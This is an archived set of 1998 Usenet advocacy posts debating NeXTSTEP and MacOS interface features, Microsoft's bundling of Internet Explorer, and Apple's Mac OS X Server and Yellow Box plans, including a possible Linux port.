images, sound, all are clippable. For movies and 3D models, when you drag
the content of a window out to the Finder, it clips it as an image of that
current view or frame. Since the Scrapbook can handle movies and 3D,
however, I wonder why clippings can't.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: Fri, 18 Dec 1998 00:55:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75c95q$nfr$1@nnrp1.dejanews.com>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <F44Aww.F4v@T-FCN.Net> <75bmqv$78l$1@nnrp1.dejanews.com> <F44q5H.AL@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> spagiola@my-dejanews.com wrote:
> > No. The NeXTSTEP/OPENSTEP inspector allows you to open a given file using
> > a given app FOR THAT TIME ONLY without changing the default. Just
> > double-click on the appropriate app's icon in the inspector panel.
>
> Ahhh, never knew that. I wouldn't have discovered this either I don't
> think.
I know we've had several arguments over the years about how good NeXT's UI
is. While not wishing to quarrel with your tastes, may I suggest that at
least some of your criticism may derive from not noticing some of the tools
that this UI offers you, as in this instance? Not that the NeXTSTEP UI is
perfect, but at least IMHO it is better than many people unfamiliar with it
give it credit.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Message-ID: <SPAMLESSforrest-1712981714300001@term5-42.vta.west.net>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F3ypnu.6p0@T-FCN.Net> <3676bdbe.0@stan.astra.co.uk> <F42F6F.A62@T-FCN.Net> <759iqr$3hu$1@crib.corepower.com> <F44AnB.Evo@T-FCN.Net> <75bfr1$5mh$1@crib.corepower.com> <F44qD6.Fy@T-FCN.Net> <distler-1712981622090001@cheshire.ph.utexas.edu> <1dk71g9.1m1myjq1jrl6rkN@tnt02dla187.escape.ca>
Organization: Obsidian
m[*bZ@orwvjNs_Y`HucO|hS5B\Wtfn[I;-a7fYVxYNgy^&BAA8V:/PE)ifFiP$Y,n.^E
IW*iW:)XcO:j!0sptC34>3492bv9g8xXx[,J+`fYSPIbr8+_9?HpL(5!eY$4_``#GbcR
>NN3xw;&u1*2{u3
Date: Thu, 17 Dec 1998 17:14:30 -0800
NNTP-Posting-Date: Thu, 17 Dec 1998 17:09:57 PDT
In article <1dk71g9.1m1myjq1jrl6rkN@tnt02dla187.escape.ca>,
gbeggs@escape.ca (Gerry Beggs) wrote:
>And a new feature with MacOS 8.5 is that it can tell if the text you
>dragged is a URL or an email address and assign a proper icon for the
>file.
Not only that; it doesn't just drag a clipping of the text to the desktop,
it makes a "Internet Alias"; basically a bookmark for no particular app,
it just tells the system to go to the URL contained in it, and Internet
Config (or just the "Internet" control panel now; it uses the same
underlying mechanism of IC) finds your selected app for that URL type,
launches it, and goes to the URL with that. Combined with popup windows,
this makes a nice system for organizing your bookmarks. I've got an
"Internet" tab at the bottom of my screen (along with Applications,
Documents, Games, and Utilities), inside which are all my common
internet-related files: AIM, Ircle, and Emailer, which I leave open in the
background, plus "Internet Aliases" (bookmarks) to all my favorite
newsgroups and web pages. Cool thing about this is that if I get fed up
with Netscape and switch to another browser, assuming that browser support
IC (which almost all net-related Mac apps do nowadays), my bookmarks will
open in that instead of Netscape (assuming I switched my default browser
in the Internet control panel). Cool things.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 20:41:22 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <19981217204122138438@ts2-04.aug.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com>
Jason McNorton <jmcn@msg.ti.com> wrote:
> In article Willy, willy1@rocketmail.com says...
> > Linux distributions have browsers on them. MacOS 8.x ships with two
> > browsers. And I'd bet that Be and various Unix OSes now ship with
> > browsers. So why can MS ship a browser with Windows? Why is everyone
> > else allowed to ship Navigator with their OS but Microsoft can't ship
> > IE?
> >
> Because Microsoft has "won" and everyone in the computer industry hates
> the "guy on top".
Everyone hates the guy that steals his way to the top.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 20:41:19 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <19981217204119138219@ts2-04.aug.com>
References: <3679789f.27413999@news2.asan.com>
Willy <willy1@rocketmail.com> wrote:
> Linux distributions have browsers on them. MacOS 8.x ships with two
> browsers. And I'd bet that Be and various Unix OSes now ship with
> browsers. So why can MS ship a browser with Windows? Why is everyone
> else allowed to ship Navigator with their OS but Microsoft can't ship
> IE?
Please. Are you that uninformed? MS shipped IE free to sabotage
Navigator sales. They "integrated" it inot the OS, saying..oh,oh.. its
merely innovation for the customer. Plus, none of the other vendors
threatened to cut off windows licenses if their browser was replaced.
--
Remove nojunk from my email address to reply by email.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X and file associations, etc.
Newsgroups: comp.sys.next.advocacy
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <F44Aww.F4v@T-FCN.Net> <75bmqv$78l$1@nnrp1.dejanews.com> <F44q5H.AL@T-FCN.Net> <75c95q$nfr$1@nnrp1.dejanews.com>
Message-ID: <3679b2bd.0@news.depaul.edu>
Date: 18 Dec 98 01:41:17 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> spagiola@my-dejanews.com wrote:
> > No. The NeXTSTEP/OPENSTEP inspector allows you to open a given file using
> > a given app FOR THAT TIME ONLY without changing the default. Just
> > double-click on the appropriate app's icon in the inspector panel.
>
> Ahhh, never knew that. I wouldn't have discovered this either I don't
> think.
I take it that, where the Inspector says 'Double-click to open the selected
document(s)', you thought that referred to double-clicking on the
file icon in the Viewer, and not the app icon in the inspector?
Message-ID: <3679A53F.5AD5CA77@nstar.net>
Date: Thu, 17 Dec 1998 18:43:43 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <75btmj$dbp$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
[cut]
> > Yeah, but...what would that accomplish? I need a system that runs X
> > software...what's this, a trial version? What the hell good does this do
> > me?
>
> It lets you run X and decide whether to pay for that product? Or maybe
> someone'll build a freely available port like they did with NEXTSTEP way back
> when.
Maybe. But it still doesn't give the user the solution he or she needs.
Suppose you were to claim that Solaris needs better Windows
compatibility, and I pointed out that a demo of WABI used to ship with
older versions. What kind of answer is that?
> Why do you make that assumption? I'd certainly want to use the Blue Box to
> run things like Office 98 for the Mac (if M$ didn't do a native port). As
> for Carbon, I have no desire to program to it, but I don't object to my
> system being able to run Carbon apps as full, native processes, either.
But that's the point; compatibility and interoperability is the purpose
of Blue Box's inclusion. You don't want Blue Box because you want to use
the Toolbox, you want Blue Box because you want to use Toolbox apps.
Well, I'm saying precisely the same thing for X Windows.
> Remotability is very, very important. I seem to recall Mike said that
> Apple's replacement imaging system would be capable of supporting
> remotability, but who knows? I don't....
I'm almost positive he did. In fact, I thought he posted something about
soliciting developer input for features this remotability should include
(ostensibly for a future release). I went looking for that post a few
weeks ago and couldn't find it... :-(
[cut]
MJP
Message-ID: <3679B43D.4425FC1C@nstar.net>
Date: Thu, 17 Dec 1998 19:47:41 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <75btmj$dbp$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> Also, a caveat: just because those things were there does not guarantee that
> they will be in the final release. For instance, given the deal with US laws
> re: encryption software, I wouldn't be surprised if kerberos doesn't ship. On
> the other hand, it's nice to know it's buildable.
Yes. I suppose this pretty much turns around my opinion on the matter;
if it's really a full-fledged 4.4, NetInfo can be disabled completely,
and it currently has the features and programs you mentioned, with the
exception of X Windows support, current indicators would seem to suggest
that Mac OS X will, indeed, be a "good Unix" (or will have the potential
for same).
[cut]
MJP
From: jmcn@ont.com (Jason McNorton)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 20:08:31 -0600
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <MPG.10e375191a4b217a98977f@news.ont.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <slrn77j8d2.t4.dulino@localhost.localdomain>
In article <slrn77j8d2.t4.dulino@localhost.localdomain>,
dulino@localhost.localdomain says...
> On Thu, 17 Dec 1998 15:57:30 -0600, Jason McNorton <jmcn@msg.ti.com> wrote:
>
> >Because Microsoft has "won" and everyone in the computer industry hates
> >the "guy on top".
>
> And ?
>
> Remember IBM of late-70's to mid-80's ?
> Only now it is ressurecting.
Um, this is the second time someone has been talking about theories
instead of reality. Right now, MS is on top. Period. That's all I
claimed, and it is true. What happens 5, 10, 15 years from now, who
knows. I was simply pointing out that MS is an easy target. They are on
top, they are a single-source solution (unlike Linux, which has no Bill
Gates to attack). Someone asked why is MS getting crapped on for
including IE4 with the OS, I answered. It's because they have "won"..
Even if just for today..
From: dulino@localhost.localdomain (Oleg Dulin)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: MS Encarta says IE is not part of the OS
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <slrn77j8d2.t4.dulino@localhost.localdomain>
Message-ID: <slrn77jfa6.129.dulino@localhost.localdomain>
Date: Fri, 18 Dec 1998 02:50:24 GMT
NNTP-Posting-Date: Thu, 17 Dec 1998 21:50:24 EDT
Organization: NETPLEX Internet Services - http://www.ntplx.net/
BTW, Microsoft's own Encarta (http://encarta.msn.com/) states that an OS is
a layer between the software and the hardware, something like DOS or
Linux kernel. Check it out for yourself -- go to http://encarta.msn.com/ and
search for "operating system."
Also, Encarta says that Windows is a GUI on top of DOS, while Windows NT is
a separate operating system. Technically speaking, Windows 95 is _not_
Windows NT and therefore is a GUI on top of DOS.
Don't take my word for this -- look it up for yourself.
--
Oleg Dulin,
Clarkson University, Computer Engineering
http://www.clarkson.edu/~dulino
From: mlw <markw@mohawksoft.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 03:25:56 +0000
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3679CB43.5BF98AC6@mohawksoft.com>
References: <3679789f.27413999@news2.asan.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Willy wrote:
> Linux distributions have browsers on them. MacOS 8.x ships with two
> browsers. And I'd bet that Be and various Unix OSes now ship with
> browsers. So why can MS ship a browser with Windows? Why is everyone
> else allowed to ship Navigator with their OS but Microsoft can't ship
> IE?
The issue isn't that they can't ship a browser. The issue is they can't
leverage dominance in one market to gain an advantage in another. This is
one definition of "anti-trust" they are using the powerful position of
Windows to expand Microsofts control of the industry.
The browser marketplace had net]scape. Anyone could come and challenge.
Microsoft did challenge, not a problem. They were not winning, so, the
decided to use control over the OS marketplace to gain an advantage in
the browser marketplace, this is not legal. Becuase Microsoft could not
win with IE in a fair fight, they decided to give it away and package it
in to the operating system and thus eliminate the market and netscape.
Also not legal.
--
Mohawk Software
Windows 95, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
Message-ID: <3679D722.415046E6@ameritechREMOVETHIS.net>
From: BR <benr9y@ameritechREMOVETHIS.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Fri, 18 Dec 1998 04:16:35 +0000
NNTP-Posting-Date: Thu, 17 Dec 1998 22:20:46 CDT
Organization: Ameritech.Net www.ameritech.net Complaints: abuse@ameritech.net
Jason McNorton wrote:
>
> In article Willy, willy1@rocketmail.com says...
> > Linux distributions have browsers on them. MacOS 8.x ships with two
> > browsers. And I'd bet that Be and various Unix OSes now ship with
> > browsers. So why can MS ship a browser with Windows? Why is everyone
> > else allowed to ship Navigator with their OS but Microsoft can't ship
> > IE?
> >
> Because Microsoft has "won" and everyone in the computer industry hates
> the "guy on top".
I take it your speaking on good authority that the above is true?
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: Thu, 17 Dec 1998 22:29:17 -0600
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-1712982229190001@192.168.0.2>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F3ypnu.6p0@T-FCN.Net> <3676bdbe.0@stan.astra.co.uk> <F42F6F.A62@T-FCN.Net> <759iqr$3hu$1@crib.corepower.com> <F44AnB.Evo@T-FCN.Net> <75bfr1$5mh$1@crib.corepower.com> <F44qD6.Fy@T-FCN.Net> <distler-1712981622090001@cheshire.ph.utexas.edu> <1dk71g9.1m1myjq1jrl6rkN@tnt02dla187.escape.ca>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <1dk71g9.1m1myjq1jrl6rkN@tnt02dla187.escape.ca>,
gbeggs@escape.ca (Gerry Beggs) wrote:
>Jacques Distler <distler@golem.ph.utexas.edu> wrote:
>
>>I've never tried this with other data types (don't think it works). But it
>>could be extended to work with other data types, with a characteristic
>>icon for each one.
>
>Yes it works with other data types.
>There are picture clippings, movie clippings and audio clippings as well
>as text clippings.
>
>And a new feature with MacOS 8.5 is that it can tell if the text you
>dragged is a URL or an email address and assign a proper icon for the
>file.
Ah, well good.
This shows that I am equally unaware of some of the finer points of the
MacOS UI, as I am of some of the finer points of the NeXTStep UI (in the
"MacOS X and file associations" thread).
Fair is fair.
JD
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
From: gbeggs@escape.ca (Gerry Beggs)
Message-ID: <1dk71g9.1m1myjq1jrl6rkN@tnt02dla187.escape.ca>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F3ypnu.6p0@T-FCN.Net> <3676bdbe.0@stan.astra.co.uk> <F42F6F.A62@T-FCN.Net> <759iqr$3hu$1@crib.corepower.com> <F44AnB.Evo@T-FCN.Net> <75bfr1$5mh$1@crib.corepower.com> <F44qD6.Fy@T-FCN.Net> <distler-1712981622090001@cheshire.ph.utexas.edu>
User-Agent: MacSOUP/2.4
Date: Fri, 18 Dec 1998 00:21:23 GMT
NNTP-Posting-Date: Thu, 17 Dec 1998 18:21:23 CDT
Organization: MBnet Networking Inc.
Jacques Distler <distler@golem.ph.utexas.edu> wrote:
> I've never tried this with other data types (don't think it works). But it
> could be extended to work with other data types, with a characteristic
> icon for each one.
Yes it works with other data types.
There are picture clippings, movie clippings and audio clippings as well
as text clippings.
And a new feature with MacOS 8.5 is that it can tell if the text you
dragged is a URL or an email address and assign a proper icon for the
file.
--
gbeggs@escape.ca http://www.escape.ca/~gbeggs
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 18 Dec 1998 05:22:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75coq4$hfr@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost>
On 17 Dec 98 19:28:35 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>On Wed, 16 Dec 1998 05:19:28, sal@panix.com (Sal Denaro) thought
>aloud:
>> Just because a market exists, doesn't mean that it is cost effective for Apple
>> (or anyone else) to build for it.
>No, but surely you aren't going to deny the potential to make at least
>a few million new Apple customers. ;-) For all I know Apple has pretty
>complete arsenal of worthy tools to offer (YB, QTML) and little to
>lose in trying to create a new Apple market in that space.
It is a question of opportunity costs. Sure, betting on a long shot will
pay big if it comes in, the question is "how often will it come in?"
The less cash you have, the worse it is to bet on longshots.
>> How many of those users even want to upgrade? A fair number of Wintel users
>> don't upgrade OSes, they just buy new machines and copy over the old data.
>Still a lot of machines are left for "servicing".
Or the curbside on trash day. Based on my experience about 1/3 get handed
over to another family member, 1/3 get "serviced" and 1/3 get tosed out in
the trash. The older the machine, the more likely that it will hit the trash.
>> Users don't care about "open standards" or any crap like that. They care
>> about entry costs and product availability. Porting YB to Linux isn't going
>> to pull Apple out of niche status any more than the current availability
>> of YB for Windows has.
>Success in one market breeds success in others. Issues like
>credibility and critical mass of momentum, the tide lifts all the
>boats...
Sometimes so, sometimes not so.
Sun has tried for a mass market desktop a few time and failed, dispite
having plenty of momentum in other areas.
>And while 'open standards' aren't going to become a star attraction to
>'consumers' anytime soon there are mindshare advantages in being a
>visible part of it.
There are pluses and minuses to everything. TANSTAAFL. Anyone remember
when Sun, IBM and HP were pushing for that "Public Windows API"? That
was an Open Standard that had plenty of support; with one notable
exception.
>> They already are fighting from a niche against mature markets. What
>> exactly would change?
>If Linux becomes a major player - which I believe it does, sooner or
>later - Apple could have a significant foothold in two of those
>markets instead of one which would subsequently help YB take on WIN32.
And how long with that take assuming that there is no saturation point
for Linux and growth remains at its current rate? That is the target date
for a Linux port.
<<clip>>
>> Can you see my point? Supporting Linux (at the cost of its own market and
>> the Windows market) doesn't move Apple out of niche status any more than the
>> current support of Windows does.
>I see your point but I'm afraid I don't agree - e.g. any
>cannibalization would be the natural price of creating opportunities
>in other areas. I see Linux and Windows markets as very different in
>many ways. Demographics, maturity, thirst for apps, interest in
>programming, general activity vs apathy etc.
Well, seeing that YB is mostly a development platform right now, I think you
should be comparing developer to developer not Linux hacker to average user.
(Most end users could give a rats ass about the tools used to create an App)
>> >> YB is a long term plan. I am reasonably certain that sales of WebObjects
>> >> will fuel development in YB for the next few years.
>> >And that will guarantee it an adequate developer adoption... for the
>> >next few years? I can't blame you for not being an optimist. :-)
>> No, but neither does a Linux port. There are no guarantees.
>If YB is really the API of Apple's future (and with new rumours of
>Carbon becoming tightly wowen into it and all)
Carbon has nothing to do with YB and vice versa.
> surely having Linux
>strategy around, if just as a fallback plan, could be considered as an
>extra insurance... even leverage in some cases.
Extra insurance against what?
>> Why do you think this is a no-growth strategy?
>The reason was there before I started wondering whether the strategy
>offers any growth. Do Carbon apps and the unix features pull in enough
>paying spectators to grow the tent size if YB remains mostly used by
>the "old NeXT crowd"?
I think it is pretty clear that the goal is to first put YB on as many
Macs as possible, and then build up YB as an xplatform tool. Perhaps
Apple will work on getting YB on other platforms after OSX ships?
>I am in no way advocating pulling resources away from Apple's core
>project.
Then I don't see any reason for this debate :)
>> And what would keep Apple from useing drivers from Linux? Heck, someone
>> wrote a ne2k driver for OSXS for x86 from reading the Linux sources.
>> As long as they obey the GPL (they would have to for Linux anyway) it
>> is 100% ok.
>I don't know, give & take rule would apply here though, IMO. IOKit?
Well, seeing that most of the core parts are already open sourced, I see
very little benefit in keeping the source locked up. If there are issues
with Moto or ATI not wanting their driver code opened, Apple can just
omit those drivers from driverkit.
It could be that there are dozens of reasons why Apple can not do this,
if that is the case then I withdraw my comment.
>Your turn? ;-)
I'll pass.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 18 Dec 1998 05:22:10 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75coq2$hfr@news1.panix.com>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost> <757fsu$5or@news1.panix.com> <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost> <75buon$edj$1@nnrp1.dejanews.com>
On Thu, 17 Dec 1998 21:57:44 GMT,
Michael.Peck@ericsson.com <Michael.Peck@ericsson.com> wrote:
>In article <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost>,
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
>
>> > What I question is the logic that Apple should pull resources away from
>> > building YB on its hardware, and on Windows to do it.
>>
>> I haven't even seen such logic floating around here.
>
>That's because the logic has not been suggested by anyone but Salvatore
>Denaro.
Wrong.
You said:
"If Sal's question had been "do you think Apple should divert OS X
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
resources to a YB Linux port, considering that OS X will probably
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
achieve 10 million users, while YB Linux can only get some percentage of
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
that?", then I would have answered "yes". It's pretty simple."
^^^^^ ^^^^^
It is pretty clear that you suggested that Apple divert resources to a
YB port at the expense of OSX.
>How interesting that my cost proposal (which didn't originally involve Sal,
>incidentally) specifically stated that an engineer and MBA intern were *hired*
>for the project in question, not drawn away from any existing Apple projects.
Nice try.
The resources used to hire an engineer and an MBA intern would have to come
from sonewhere.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 18 Dec 1998 05:22:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75coq3$hfr@news1.panix.com>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost> <757fsu$5or@news1.panix.com> <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost>
On 17 Dec 98 19:28:07 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> What I question is the logic that Apple should pull resources away from
>> building YB on its hardware, and on Windows to do it.
>I haven't even seen such logic floating around here.
I was refering to the comment that MJP made:
"If Sal's question had been "do you think Apple should divert OS X
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
resources to a YB Linux port, considering that OS X will probably
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
achieve 10 million users, while YB Linux can only get some percentage of
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
that?", then I would have answered "yes". It's pretty simple."
^^^^^ ^^^^^
> Yes, the highest
>priority should naturally go to getting the PowerPC version out
>(MOSXS) and then finishing (MOSX).
I agree (as long as you add YB/Windows to the top priority list :)
> What comes to other YB projects, I
>would think some of the other platform work could be done in parallel
>with the main MOSX project by increasing headcount...
Recent comments I've heard would lead me to think that some parts of
Apple would rather port WOF to other Unix platforms first, and then do
YB for those that are more likely to be used as desktops rather than
servers. Keep in mind that Apple is often an unreliable source of
information about Apple...
> or by letting
>the platforms do some work for themselves (e.g. GNUstep?).
Hmmm... Why not?
I wonder how many YB developers would port to GNUStep once it were
mature enough to port to.
>> While that is hardly _major_, it does demonstrate that Apple is aware
>> that the free software movement exists.
>The recent rumours of mkLinux project's health aren't flattering, but
>then again it could also indicate that a replacement project could be
>on the way... Yes, these are welcome gestures although not
>image-building in the over-powering and mind-numbing headline
>capturing sense.
I agree with your point.
From: "Boris" <borisspamno@pleasemovil.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <3679789f.27413999@news2.asan.com>
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 21:33:32 -0800
Message-ID: <3679eb61$0$226@nntp1.ba.best.com>
A collegue at work compared this with Ford shipping cars with radio, so that consumers
could decide and insert radio of their choice. I agree that it's applicable comparison.
It's fact of life that software development becomes priviledge of large companies,
Microsoft the biggest one.
At the beginning of 20th century there where scores of small automobile manufacturers.
They all disappered; instead we have monstrous car "empires". Why should software be much
different?
Boris
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
